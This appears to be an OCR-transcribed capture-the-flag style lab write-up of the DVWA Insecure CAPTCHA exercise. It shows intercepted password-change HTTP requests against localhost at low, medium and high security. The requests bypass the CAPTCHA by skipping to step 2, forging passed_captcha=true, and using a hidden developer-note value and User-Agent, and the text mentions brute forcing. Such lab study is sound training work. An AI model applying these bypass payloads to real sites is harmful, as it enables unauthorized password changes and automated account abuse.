## insecureCaptcha

## Low

```
Request
 Pretty Raw \n
                 Actions ~
                                                 Select extension...
 1 POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
2 Host: 127.0.0.1
 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0)
   Gecko/20100101 Firefox/78.0
 4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/we
   bp,*/*;q=0.8
5 Accept - Language: en - US, en; q=0.5
6 Accept-Encoding: gzip, deflate
 7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 571
9 Origin: http://127.0.0.1
10 DNT: 1
11 Connection: close
12 Referer: http://127.0.0.1/dvwa/vulnerabilities/captcha/
13 Cookie: security=low; PHPSESSID=tskddlij8vplnbc7hnlcdpap4p
14 Upgrade-Insecure-Requests: 1
15 Sec-GPC: 1
16
17 | step=1&password new=password&password conf=password&
   g-recapt cha-response=
   03AGdBq26-TE5vjaWX L9tG8hP7Kdegb80-m82pigr0kAJwyesmMd7GYV0zERc
   x720NmJDFXAH0 1wllSBSfhx5Ej7UYmTbLF0xwXTTQFsf3WuUr0l086UquvbaL
   oodRTH0H0y9UQPozscGiJdA0iEJ-RckJ-A649K6trCcBcokSHMAV4eLwsH0jXw
   vquerp4h Vlyw3JdMkENE8F1ki9S54H1csqf4SVaSaQZ4h0Y7kC8rrd L9DG O
   2-OBKg2uaCq5iDHxsNzKroKu7ukzrwvdGhJCfv1H1MClMrMv5490QN3MyJ8Uhh
   5chYAwvkidGgHWs5x7shxoyG7FBFJuEguHq1BMFKm4 5PXkbRQXes mlsFXEyd
   yga8NSt6640kQE-kT3jkVkRkAElD9oTWtxgprasxZR069u6vbkAZAbbTNm2zdt
   LlfA57QZBrUqGUhMdlzl-smGJVVpNEfA7smqQgpW4Rl2t0N Tg&Change=
   Change
```

just playing with the step 2 witout any recaptcha response, we can update password multiple times, without recaptcha check, just for the first one.

## Medium

```
Request
 Pretty Raw \n Actions ∨
                                                 Select extension...
 1 POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
 2 Host: 127.0.0.1
 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0)
   Gecko/20100101 Firefox/78.0
 4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/we
   bp,*/*;q=0.8
 5 Accept - Language: en-US, en; q=0.5
 6 Accept-Encoding: gzip, deflate
 7 Content-Type: application/x-www-form-urlencoded
 8 Content-Length: 85
9 Origin: http://l27.0.0.1
10 DNT: 1
11 | Connection: close
12|Referer: http://127.0.0.1/dvwa/vulnerabilities/captcha/
13 Cookie: security=medium; PHPSESSID=tskddlij8vplnbc7hnlcdpap4p
14|Upgrade-Insecure-Requests: 1
15 Sec-GPC: 1
17 step=2&password new=password&password conf=password&
   passed captcha=true&Change=Change
```

same as before , but passed\_captcha= true , and u can brute

## force passeword



```
1 POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
 2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0)
   Gecko/20100101 Firefox/78.0
  text/html,application/xhtml+xml,application/xml;q=0.9,image/we
  bp,*/*;q=0.8
5 Accept - Language: en-US, en; q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 613
9 Origin: http://127.0.0.1
10 DNT: 1
11 Connection: close
12 Referer: http://127.0.0.1/dvwa/vulnerabilities/captcha/
13 Cookie: security=high; PHPSESSID=tskddlij8vplnbc7hnlcdpap4p
14 Upgrade-Insecure-Requests: 1
15 Sec-GPC: 1
16
17|step=1&password_new=test123&password_conf=test123&
  q-recapt cha-response=
   03AGdBq27TcSXizEWMMuN7Pz5YDqgc7kU0vh0VLyqizNEok2JG-Na0Nw59XnNQ
  MR11a8JAqnb4Up8gNVeLWnOyIhMdWMlOszhWlg9E7h57sQiHt2-soqm9GWphRx
  Thz2HolVSb0JMBxKYQNfpoMkAOVj5363phVavTkNSElQvdtTkoM99LR3wTcBkK
  WjroMOrqtuIJXoY3lVqAqqqJmnzJj8AJekXG6NryZy315EiE769WrQBDT070-F
  bOE7Bl 6Y-Qy3xQCeTVFhrYG8YvtKAH-ciBn8dQp89EqwUA lq4EHpXYgkLWTh
   JWgmYVTd8RfsHC3Zy-7DtYDfhJBLS3r0zaGmSlA5M0yWkVye6yg9Cy9bm3prLg
   rmzk6tKtvFQr3vPYe8ybZ0A4z28pRR4JH3WMhgl-33dpwg-MsD0MJpGby0 t00
   olldXDtlwt4J0-w3Eagn3GgakmVm8AWmh0 0Cw2QRUYrvoyq5w&user token=
   ed28bff48bdaaeca1c6b098cfb16da77&Change=Change
```

<!-- \*\*DEV NOTE\*\* Response: 'hidd3n valu3' && User-Agent: 'reCAPTCHA' \*\*/DEV NOTE\*\* -->

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